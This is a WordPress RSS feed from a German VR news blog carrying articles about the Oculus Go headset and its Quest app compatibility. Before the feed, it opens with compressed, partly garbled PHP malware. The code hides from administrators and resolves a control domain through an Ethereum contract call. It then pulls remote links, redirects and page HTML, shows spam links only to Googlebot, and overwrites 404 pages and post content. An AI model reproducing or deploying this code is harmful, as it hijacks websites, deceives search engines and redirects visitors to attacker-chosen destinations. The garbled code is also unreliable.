if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='
  • '.esc_html($r['t']).'
  • ';if($h!=='')echo'
    More
      '.$h.'
    ';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */ Oculus Go Archive - VR-Legion https://vr-legion.de/tag/oculus-go/ We don't play flat! Fri, 08 Mar 2024 06:18:24 +0000 de hourly 1 https://wordpress.org/?v=6.9.4 https://vr-legion.de/wp-content/uploads/2018/05/cropped-Fertig_farbig_trans_im_Kreis_weiss_ohne_3d_klein-32x32.png Oculus Go Archive - VR-Legion https://vr-legion.de/tag/oculus-go/ 32 32 Die Zock Stube – Der spannende Weg zur META QUEST 3 https://vr-legion.de/wpvr_video/die-zock-stube-der-spannende-weg-zur-meta-quest-3/ https://vr-legion.de/wpvr_video/die-zock-stube-der-spannende-weg-zur-meta-quest-3/#respond Fri, 08 Mar 2024 06:18:24 +0000 https://vr-legion.de/wpvr_video/die-zock-stube-der-spannende-weg-zur-meta-quest-3/ Der Beitrag Die Zock Stube – Der spannende Weg zur META QUEST 3 erschien zuerst auf VR-Legion.

    ]]>
    Der Beitrag Die Zock Stube – Der spannende Weg zur META QUEST 3 erschien zuerst auf VR-Legion.

    ]]>
    https://vr-legion.de/wpvr_video/die-zock-stube-der-spannende-weg-zur-meta-quest-3/feed/ 0
    Oculus senkt die Preise: Oculus Go kostet ab sofort 159€ https://vr-legion.de/news/oculus-senkt-die-preise-oculus-go-kostet-ab-sofort-159e/ Thu, 16 Jan 2020 19:43:43 +0000 https://vr-legion.de/?p=20808 Der bisherige Preis der Oculus Go ist nun Geschichte: Das Standalone-VR-Headset von Oculus ist ab heute dauerhaft günstiger.

    Der Beitrag Oculus senkt die Preise: Oculus Go kostet ab sofort 159€ erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Oculus Go ab 26. Juni bei Amazon

    Der bisherige Preis der Oculus Go ist nun Geschichte: Das Standalone-VR-Headset von Oculus ist ab heute dauerhaft günstiger.

    Bereits im Rahmen des Black Friday gab es die Oculus Go gute 50€ günstiger als sonst. Statt 219€ für die 32GB Variante bzw. 269€ für die 64GB Version gab es das Headset für 159€ bzw. 219€. Wie Facebook heute bekannt gegeben hat werden die Preise für Oculus Go nun dauerhaft auf 159€/219€ gesenkt.

    Was das Standalone-VR-Headset von Oculus alles drauf hat erfahrt ihr bei uns im Test, klickt dazu einfach hier. Kurz und knapp sollte man jedoch wissen, dass Oculus Go im Grunde genommen ein Samsung GearVR Headset mit fest eingebautem Smartphone und schickem Design ist. Da das Headset nur 3DoF Tracking unterstützt (also nur umsehen, keine Bewegung im Raum), fallen Hits wie Beat Saber für die Go weg – für solche Spiele benötigt ihr das teurere Oculus Quest Headset. Die Oculus Go eignet sich einzig und allein für das schauen von Videos und einige kleine Spiele.

    [amazon_link asins=’B07D7HPSFC,B07D7HL9KV,B07JDPW5MN,B07GSH1XLK‘ template=’ProductCarousel‘ store=’vr-legion-21′ marketplace=’DE‘ link_id=’a424758e-1c56-49d3-b944-2558fb1c171c‘]

    Der Beitrag Oculus senkt die Preise: Oculus Go kostet ab sofort 159€ erschien zuerst auf VR-Legion.

    ]]>
    mo fun VR – Oculus GO Apps auf der Oculus Quest nutzen https://vr-legion.de/videos/mo-fun-vr-oculus-go-apps-auf-der-oculus-quest-nutzen/ Mon, 04 Nov 2019 16:49:14 +0000 https://vr-legion.de/?p=17814 mo zeigt euch, wie ihr in der Oculus Quest Oculus Go Apps spielen könnt. 

    Der Beitrag mo fun VR – Oculus GO Apps auf der Oculus Quest nutzen erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    mo zeigt euch, wie ihr in der Oculus Quest Oculus Go Apps spielen könnt. 

    Seit kurzem gibt es eine Hand voll Oculus Go Apps , die man auch auf der Oculus Quest nutzen kann. Mo zeig htier welche das sind und wie das entspannt geht.

    Die Liste der Apps: https://support.oculus.com/343060616597701/

    Der Beitrag mo fun VR – Oculus GO Apps auf der Oculus Quest nutzen erschien zuerst auf VR-Legion.

    ]]>
    Die Zock Stube – Oculus Quest – Anleitung: Oculus Go und Gear VR Apps auf der Quest nutzen! https://vr-legion.de/videos/die-zock-stube-oculus-quest-anleitung-oculus-go-und-gear-vr-apps-auf-der-quest-nutzen/ Sat, 05 Oct 2019 20:16:31 +0000 https://vr-legion.de/?p=16523 Oculus Go und Gear VR Apps auf der Quest nutzen

    Der Beitrag Die Zock Stube – Oculus Quest – Anleitung: Oculus Go und Gear VR Apps auf der Quest nutzen! erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Oculus Go und Gear VR Apps auf der Quest nutzen

    Mit dem neuesten Update der Oculus Quest lassen sich jede Menge Apps der Oculus Go und Gear VR auf der Oculus Quest nutzen. Patrick zeigt wie das funktioniert:

    Der Beitrag Die Zock Stube – Oculus Quest – Anleitung: Oculus Go und Gear VR Apps auf der Quest nutzen! erschien zuerst auf VR-Legion.

    ]]>
    Die Zock Stube – VR Karts Sprint auf Oculus Quest https://vr-legion.de/videos/die-zock-stube-vr-karts-sprint-auf-oculus-quest/ Tue, 01 Oct 2019 18:56:22 +0000 https://vr-legion.de/?p=16417 Die Zock Stube schaut sich im heutigen Video VR Karts Sprint an.

    Der Beitrag Die Zock Stube – VR Karts Sprint auf Oculus Quest erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Die Zock Stube schaut sich im heutigen Video VR Karts Sprint an.

    Heute schaut sich Die Zock Stube VR Karts Sprint an, eine art Mario Kart für die Virtuelle Realität. Gespielt hat er das Spiel auf der Oculus Quest.

    Der Beitrag Die Zock Stube – VR Karts Sprint auf Oculus Quest erschien zuerst auf VR-Legion.

    ]]>
    Oculus Quest: Diese Oculus Go Apps bekommen kostenlose Upgrades oder erscheinen auf Quest https://vr-legion.de/news/oculus-quest-diese-oculus-go-apps-bekommen-kostenlose-upgrades-oder-erscheinen-auf-quest/ https://vr-legion.de/news/oculus-quest-diese-oculus-go-apps-bekommen-kostenlose-upgrades-oder-erscheinen-auf-quest/#comments Tue, 01 Oct 2019 14:34:35 +0000 https://vr-legion.de/?p=16384 Im Rahmen der Oculus Connect 6 hat Oculus einige Ankündigungen bezüglich Go und Gear Apps auf Quest gemacht. Nun wissen wir mehr.

    Der Beitrag Oculus Quest: Diese Oculus Go Apps bekommen kostenlose Upgrades oder erscheinen auf Quest erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Die Oculus Go ist eine soziale VR-Brille mit der Möglichkeit sich virtuell mit anderen zu treffen.

    Im Rahmen der Oculus Connect 6 hat Oculus einige Ankündigungen bezüglich Go und Gear Apps auf Quest gemacht. Nun wissen wir mehr.

    In Zukunft sollen einige Oculus Go/GearVR Apps auch im Store der Oculus Quest erscheinen. Ebenfalls soll es für einige Apps Upgrades geben – das heißt dass man auch die Quest Version eines Spiels bekommt, wenn man dieses bereits auf Oculus Go oder GearVR gekauft hat. Nun wissen wir, welche Apps zum Start verfügbar sein werden und für welche Apps ihr Upgrades bekommen könnt.

    Diese Apps erhalten kostenlose Upgrades

    Alle Apps auf dieser Liste erhalten kostenlose Upgrades auf die Quest Version. Das heißt, wer bereits die Go oder GearVR Version besitzt, bekommt nun ebenfalls die Oculus Quest Fassung kostenlos. Wichtig ist, dass ihr die App auf Go oder GearVR vor dem 25. September 2019 gekauft haben müsst – wenn ihr die App also jetzt erst kauft, gibt es keine Quest Version dazu. Falls ihr jedoch sowohl die Go/GearVR als auch die Quest Version besitzt, bekommt ihr Oculus-Store-Credits, also Guthaben für den Oculus Store. Wie für das Upgrade gilt auch hier, dass sowohl die Quest als auch die Go/GearVR Fassung vor dem 25. September 2019 gekauft sein müssen.

    Um das kostenlose Upgrade in Anspruch zu nehmen müsst ihr, wie bei Crossbuy, auf die Storepage des jeweiligen Spiels im Quest Store gehen und dort auf den „Kostenlos“ Button klicken, dann erhaltet ihr das Spiel. Dies müsst ihr bis zum 31. Dezember 2019 gemacht haben, sonst verfällt euer Anspruch auf ein Upgrade. Falls ihr die Bedingungen für kostenlose Store Credits erfüllt solltet ihr diesen automatisch auf euren Account bekommen. Bei Gutschrift sollte euch Oculus eine E-Mail schicken.

    • Angry Birds VR: Isle of Pigs
    • Please, Don’t Touch Anything
    • Republique VR
    • Racket Fury: Table Tennis VR
    • RUSH
    • Pinball FX2 VR
    • Real VR Fishing
    • End Space
    • Gun Club VR
    • Star Chart
    • Ultrawings
    • Thumper
    • Keep Talking and Nobody Explodes
    • Virtual Desktop
    • Wander
    • Virtual Virtual Reality
    • Ocean Rift
    • Apollo 11
    • VR Karts: Sprint
    • Nature Treks VR
    • TOKYO CHRONOS

    Kompatible Apps

    Diese Oculus Go oder GearVR Apps werden bald ebenfalls auf Oculus Quest funktionieren. Wer Apps aus dieser Liste bereits besitzt, wird sie in der Bibliothek unter dem Reiter „Go/Gear VR“ finden und auf seiner Quest installieren können. Alle anderen können die Apps dann ebenfalls im Store kaufen.

    • 3C Wonderland Coaster
    • A Night Sky
    • ACE PHANTOM
    • Air Combat (WW2)
    • Angest
    • Art Plunge
    • Athens in VR
    • Bathroom Shooting Games
    • Battle of Kings VR: Mobile
    • Coaster
    • CubeRun.VR
    • DRIFT
    • Daedalus
    • Darknet
    • Dead Body Falls
    • Death Horizon
    • Deepak Chopra Finding Your True Self
    • Don’t Look Away
    • Escape Now: The Icons
    • FREE FLIGHTER
    • Fear Incarnate
    • Fears Nightmare Roller Coaster
    • Forest of Serenity
    • Gamers Generations
    • Hidden Fortune
    • House of Terror
    • Human Anatomy VR
    • In Our Boots
    • Innocent Forest: The Bird of Light
    • Introduction to Virtual Reality
    • Land’s End
    • MEL Chemistry VR Lessons
    • MasterWorks: Journey Through History
    • PAINT VR
    • MetaTable Poker
    • My Virtual Pet VR
    • Our Solar System
    • Pirate Shooter
    • Play With Me
    • Power Hitter
    • Pyramids Roller Coaster
    • RelayCars
    • Rilix VR
    • RollerCoaster Legends
    • SONAR
    • Salvo GO
    • Sea Hero Quest
    • Sisters: A VR Ghost Story
    • Sky Fighter: Training Day
    • Solar System
    • Space Dodge2
    • Sphere Toon – VR Comic
    • Tactera
    • The Missed Spaceflight
    • They Suspect Nothing
    • Thrill Rollercoasters
    • Toy Clash
    • Track Slash
    • Turkey Hunt
    • USAF Special Ops
    • Underworld Overlord
    • VR Basketball
    • VR Rally
    • Welcome to Virtual Reality
    • Wheel Rush
    • Wonders of the World

    Quelle: Oculus

    [amazon_link asins=’B07R3N7BTB,B07P6Y5DNT,B07SVGFT4Q,B07D7HL9KV,B07FF6DMFQ,B07VWNMRFV,B07GSH1XLK,B07T9PNCR5,B07D9KFWD8,B07PTMKYS7′ template=’ProductCarousel‘ store=’vr-legion-21′ marketplace=’DE‘ link_id=’724f784f-f34c-4b82-9852-19bc6c4d35bd‘]

    Der Beitrag Oculus Quest: Diese Oculus Go Apps bekommen kostenlose Upgrades oder erscheinen auf Quest erschien zuerst auf VR-Legion.

    ]]>
    https://vr-legion.de/news/oculus-quest-diese-oculus-go-apps-bekommen-kostenlose-upgrades-oder-erscheinen-auf-quest/feed/ 3
    Zelda Breath of the Wild mit Oculus Go, Oculus Rift, HTC Vive oder Pimax spielen (MRTV Howto) https://vr-legion.de/uncategorized/zelda-breath-of-the-wild-mit-oculus-go-oculus-rift-htc-vive-oder-pimax-spielen-mrtv-howto/ Sat, 27 Apr 2019 22:42:48 +0000 https://vr-legion.de/?p=10848 MRTV-Bastelstunde: In einem leicht verständlichen Howto erklärt Sebastian, wie ihr Zelda Breath of the Wild auf PC-VR und Oculus Go zocken könnt.

    Der Beitrag Zelda Breath of the Wild mit Oculus Go, Oculus Rift, HTC Vive oder Pimax spielen (MRTV Howto) erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Zelda: Breath of the Wild auf PC-VR und Oculus Go

    MRTV-Bastelstunde: In einem leicht verständlichen Howto erklärt Sebastian, wie ihr Zelda Breath of the Wild auf PC-VR und Oculus Go zocken könnt.

    Mit Nintendo Labo VR kam auch ein VR-Modus für Zelda Breath of the Wild. Leider bietet die Nintendo Switch keine sonderlich VR-taugliche Bildqualität, zudem muss Labo VR ohne zusätzliche Bastelei zum Spielen vor den Kopf gehalten werden – so dürfte niemand Zelda durchspielen wollen. Doch es gibt eine Lösung, sogar eine legale.

    Endlich: Zelda VR mit Rift und Vive

    Ein wenig Zubehör benötigt ihr aber trotzdem um euch den VR-Modus von Zelda zunutze zu machen. Eine Nintendo Switch beispielsweise.

    Ihr benötigt:

    • Nintendo Switch
    • Capture Card mit latenzfreiem passthrough (z.B. Elgato Gamecapture HD60 S)
    • PC
    • VR-Brille wie Oculus Go, HTC Vive (Pro), Oculus Rift (S), WMR oder Pimax
    • Virtual Desktop (ideal) oder Bigscreen (kostenlos)
    • The Legend of Zelda: Breath of the Wild

    Die genauen Schritte erklärt Sebastian in seinem Video genau und zum problemlos-nachbasteln. Es ist auch nicht schwer: Ihr verbindet die Switch mit der Capturecard, die Capturecard mit dem PC und startet das dazugehörige Aufnahmetool. Auf der VR-Brille startet ihr Virtual Desktop (hat die niedrigsten Latenzen und die besten Einstellmöglichkeiten, kostet aber ein wenig Geld. Bigscreen wäre kostenlos, liefert aber etwas schlechtere Ergebnisse) und streamt damit das Bild der Capturecard in die VR. Vergesst nicht, in Virtual Desktop die Wiedergabe von 360-Grad-Material zu aktivieren.

    Deutlich bessere Bildqualität als mit Labo VR

    Da Breath of the Wild eine Kamerasteuerung per Controller und nicht per Headtracking bietet, lässt sich der VR-Modus sehr gut so übertragen. Spiele wie Mario, bei denen ihr das Headtracking benötigt, lassen sich weniger gut spielen. Aber Hand aufs Herz, wen interessieren ein paar Mario-Minispiele wenn da auch The Legend of Zelda wartet? In einer der Nintendo Switch Labo VR deutlich überlegenen Bildqualität, da es eben nicht auf dem Switch-Screen sondern mit eurer Highend-VR dargestellt wird.

     

    [amazon_link asins=’B01DRWCOGA,B01N5OPMJW,B01MT8ERQW,B07PKC4FMQ,B07QHK8RZZ,B07QJKYX9Y‘ template=’ProductCarousel‘ store=’vr-legion-21′ marketplace=’DE‘ link_id=’5ddd68e3-ab82-4341-b016-f90a73cc1443′]

    Der Beitrag Zelda Breath of the Wild mit Oculus Go, Oculus Rift, HTC Vive oder Pimax spielen (MRTV Howto) erschien zuerst auf VR-Legion.

    ]]>
    Oculus Go Update 3.57 – Endlich Aufnahmen mit Audio, immer noch kein USB-Storage https://vr-legion.de/news/oculus-go-update-3-57-endlich-aufnahmen-mit-audio-immer-noch-kein-usb-storage/ https://vr-legion.de/news/oculus-go-update-3-57-endlich-aufnahmen-mit-audio-immer-noch-kein-usb-storage/#comments Thu, 31 Jan 2019 14:17:24 +0000 https://vr-legion.de/?p=8257 Die Oculus Go ist bereits seit einem dreiviertel Jahr auf dem Markt, mit dem neuesten Update gibt es nun endlich auch Ton in eigenen Bildschirmaufnahmen.

    Der Beitrag Oculus Go Update 3.57 – Endlich Aufnahmen mit Audio, immer noch kein USB-Storage erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Oculus Go ab 26. Juni bei Amazon

    Die Oculus Go ist bereits seit einem dreiviertel Jahr auf dem Markt, mit dem neuesten Update gibt es nun endlich auch Ton in eigenen Bildschirmaufnahmen.

    Inhalte von der Oculus Go mit dem Internet teilen – das war lange nicht ohne weiteres möglich. Erst waren Aufnahmen nur über den Umweg des eigenen Facebook-Accounts möglich, dann ließen sie sich nach einem Update zwar intern speichern, allerdings fehlte der Ton der aufgenommenen Anwendung.

    Das aktuelle Update 3.57 bringt nun endlich Ton in die Aufnahmen und könnte für eine Flut an Gameplay-Videos für Oculus Go sorgen. Wollen wir es hoffen. Die Bild- und Tonqualität ist jedenfalls akzeptabel – erfreulich, immerhin muss die nicht allzu schnelle Smartphonehardware der VR-Brille dabei nicht nur die App-Berechnungen sondern auch die Aufnahme leisten.

    Weiterhin keine USB-Sticks mit Oculus Go nutzbar

    Allerdings fressen Videoaufnahmen viel Speicherplatz im chronisch knappen internen Speicher der Go, was vor allem Nutzer der 32-GByte-Version zu spüren bekommen dürften. Abhilfe bei Speicherknappheit würde ein anderes, bereits seit Monaten angekündigtes Feature bringen: USB-Storage.

    Doch ausgerechnet von dieser für viele Nutzer wichtigen Funktion ist immer noch keine Spur zu sehen. Oculus scheint immer noch an dem für Smartphones alltäglichen Feature zu basteln. Vielleicht besteht ja auch die Sorge, die Käufer würden mit bequem verfügbaren Speichererweiterungen nicht mehr zum teureren 64-GByte-Modell greifen? USB-Storage wäre dank überall verfügbarer USB-Sticks mit micro-USB-Anschluss auch für alle, die gerne Filme mit der Go schauen, eine sinnvolle Erweiterung. Oculus, fühlt euch mit dem Zeigefinger angestubst, USB-Storage, nicht vergessen!

    [amazon_link asins=’B07D7HPSFC,B07FPCWJL7,B01N4184DB,B01CVOLBQO‘ template=’ProductCarousel‘ store=’vr-legion-21′ marketplace=’DE‘ link_id=’5c5e0f0a-1ae8-4671-8f09-15272aae3e15′]

    Der Beitrag Oculus Go Update 3.57 – Endlich Aufnahmen mit Audio, immer noch kein USB-Storage erschien zuerst auf VR-Legion.

    ]]>
    https://vr-legion.de/news/oculus-go-update-3-57-endlich-aufnahmen-mit-audio-immer-noch-kein-usb-storage/feed/ 1
    VR Mega-Gewinnspiel: VoodooDE verlost eine Pimax 8K als Dank für 10.000 Abonnenten https://vr-legion.de/videos/vr-mega-gewinnspiel-voodoode-verlost-eine-pimax-8k-als-dank-fuer-10-000-abonnenten/ Tue, 01 Jan 2019 14:40:18 +0000 https://vr-legion.de/?p=7479 Mit einem beeindruckenden Gewinnspiel begrüßt VoodooDE das neue Jahr extrem grandios - mit einem großen Dank an seine über 10.000 Subscriber.

    Der Beitrag VR Mega-Gewinnspiel: VoodooDE verlost eine Pimax 8K als Dank für 10.000 Abonnenten erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Mit einem beeindruckenden Gewinnspiel begrüßt VoodooDE das neue Jahr extrem grandios – mit einem großen Dank an seine über 10.000 Subscriber.

    Auch wenn Virtual Reality ein noch eher überschaubarer Markt ist, hat VoodooDE es in nur zwei Jahren geschafft, seinen Youtube-Kanal auf über 10.000 Abonnenten anwachsen zu lassen.

    So ein Erfolg will natürlich gefeiert werden und tatsächlich hat sich Voodoo etwas ganz besonderes ausgedacht: Via Gleam.io verlost er nicht nur ein großes VR-Spielebundle sondern auch eine Oculus Go und, Trommelwirbel, eine Pimax 8K.

    Herzlichen Glückwunsch Voodoo!

    Dabei handelt es sich um seine als Kickstarter-Reward erworbene Pimax 8K, so dass ihr natürlich noch Lighthouse und Controller benötigt um sie sinnvoll zu nutzen (das Zubehör liegt nicht bei). Dennoch hat der Gewinn einen Preis von 899$ (beim Kauf via Pimax) beziehungsweise 999€ (beim Kauf via Alternate).

    Startet das Jahr doch einfach mit einer Next-Gen VR-Brille und extrem faszinierendem FoV, wir drücken euch die Daumen! VoodooDE hingegen wünschen wir weiterhin so viel Erfolg mit seinem Youtube-Kanal und dabei, VR bekannt zu machen.

    Der Beitrag VR Mega-Gewinnspiel: VoodooDE verlost eine Pimax 8K als Dank für 10.000 Abonnenten erschien zuerst auf VR-Legion.

    ]]>
    Oculus Go im Test – Günstiger VR-Einstieg und für 360-Grad-Filme (und Pornos, ja auch Pornos) https://vr-legion.de/tests/oculus-go-im-test-guenstiger-vr-einstieg/ https://vr-legion.de/tests/oculus-go-im-test-guenstiger-vr-einstieg/#comments Fri, 14 Dec 2018 13:01:35 +0000 http://vr-legion.de/?p=407 Am ersten Mai brachte Oculus die mobile Virtual Reality Brille Oculus Go auf den Markt - wir haben die VR-Brille intensiv getestet und, Spoileralarm, wir sind begeistert.

    Der Beitrag Oculus Go im Test – Günstiger VR-Einstieg und für 360-Grad-Filme (und Pornos, ja auch Pornos) erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Die Oculus Go ist eine soziale VR-Brille mit der Möglichkeit sich virtuell mit anderen zu treffen.

    Am ersten Mai brachte Oculus die mobile Virtual Reality Brille Oculus Go auf den Markt – wir haben die VR-Brille intensiv getestet und, Spoileralarm, wir sind begeistert.

    Ich gestehe: Als Freund von raumfüllenden Bewegungen in der virtuellen Realität hatte ich im Vorfeld keine sonderlich großen Erwartungen an die Oculus Go. Ist halt nur eine bessere GearVR mit eingebautem Smartphone aber den gleichen Steuerungs-Mängeln. Oder etwa doch nicht?

    Tatsächlich musste ich die Go erst einmal selbst aufsetzen um mich von ihren Vorzügen überzeugen zu lassen. Das durfte ich auf Einladung von Oculus noch vor dem Erscheinen der VR-Brille direkt bei Facebook in London. Die von Oculus übernommenen Reisekosten sind aber nicht der Grund für meinen Stimmungswechsel bei der Oculus Go. Tatsächlich ist es die Tatsache, dass Oculus ein erstaunlich durchdachtes, intelligent designtes und dazu noch günstiges Produkt auf den Markt gebracht hat. Und dass ich ein großer Freund von durchdachten, intelligenten und dazu noch günstigen Produkten bin. Doch beginnen wir bei den technischen Daten:

    Oculus Go: Im Herzen ein Mittelklasse-Smartphone

    Die Oculus Go ist eine mobile VR-Brille, die (fast) die gesamte zum Betrieb nötige Elektronik gleich mitbringt. So ist für die Rechenleistung ein Qualcomm Snapdragon 821 verantwortlich, ein mobiler Quadcore-Prozessor auf Basis der in Smartphones genutzten ARM-Prozessorarchitektur. Eine Grafikeinheit bringt der Chip gleich mit und natürlich verbaut Oculus auch Arbeitsspeicher und einen Akku. Beim Festspeicher muss die Wahl vor dem Kauf getroffen werden: Mit 32 Gigabyte kostet die Oculus Go 219 Euro, mit 64 Gigabyte sind es 259 Euro. Da das in Hintergrund unsichtbar arbeitende Android 7 nebst der Oculus-Home-Oberfläche auch Speicher benötigt, sind davon beim ersten Start allerdings nur knapp 23 Gigabyte frei verfügbar.

    Pfiffig gelöst sind die Lautsprecher: Sie sind in den Trageriemen eingelassen und liefern einen guten Klang.

    Erweitert werden kann der Festspeicher noch nicht, Oculus hat allerdings ein Update angekündigt, mit dem sich USB-Speichersticks (Achtung: es muss ein Micro-USB-Stick sein, ansonsten wird ein Adapter benötigt) nutzen lassen um davon beispielsweise Filme abzuspielen. Anwendungen werden aber immer auf den internen Speicher installiert, einen SD-Slot gibt es ebenfalls nicht.

    Während Oculus bei der Rift auf OLED-Displaytechnik setzt, kommt bei der Go ein potentiell günstigeres LCD zum Einsatz. Die Auflösung beträgt 2.560×1.440 Bildpunkte, pro Auge sind es also mit 1.280×1.440 Bildpunkten etwas mehr als bei Rift und Vive aber etwas weniger als bei WMR mit 1.440×1.440 Pixeln. Trotzdem überrascht das Bild der Go positiv, dazu mehr im Absatz zur Bildqualität. Während GearVR mit 60 Hz arbeitet, können Go-Apps auch mit 72 Hz arbeiten, was ein flüssigeres Bild verspricht. Mit 60 Hz wirken einfarbige helle Flächen etwas unruhig.

    Der fest verbaute Akku reicht bei voller Ladung für etwa zwei Stunden Nutzungsdauer. Hier zeigt sich ein Manko der Go: Die Ladezeit ist mit etwas über zwei Stunden viel zu lang. Immerhin lässt sich die VR-Brille auch im laufenden Betrieb via Micro-USB nachladen. Die dabei entstehende Wärmeentwicklung geht allerdings auf eigenes Risiko: Oculus rät vom Nachladen bei der VR-Nutzung ab.

    Beeindruckende Bildqualität dank RGB

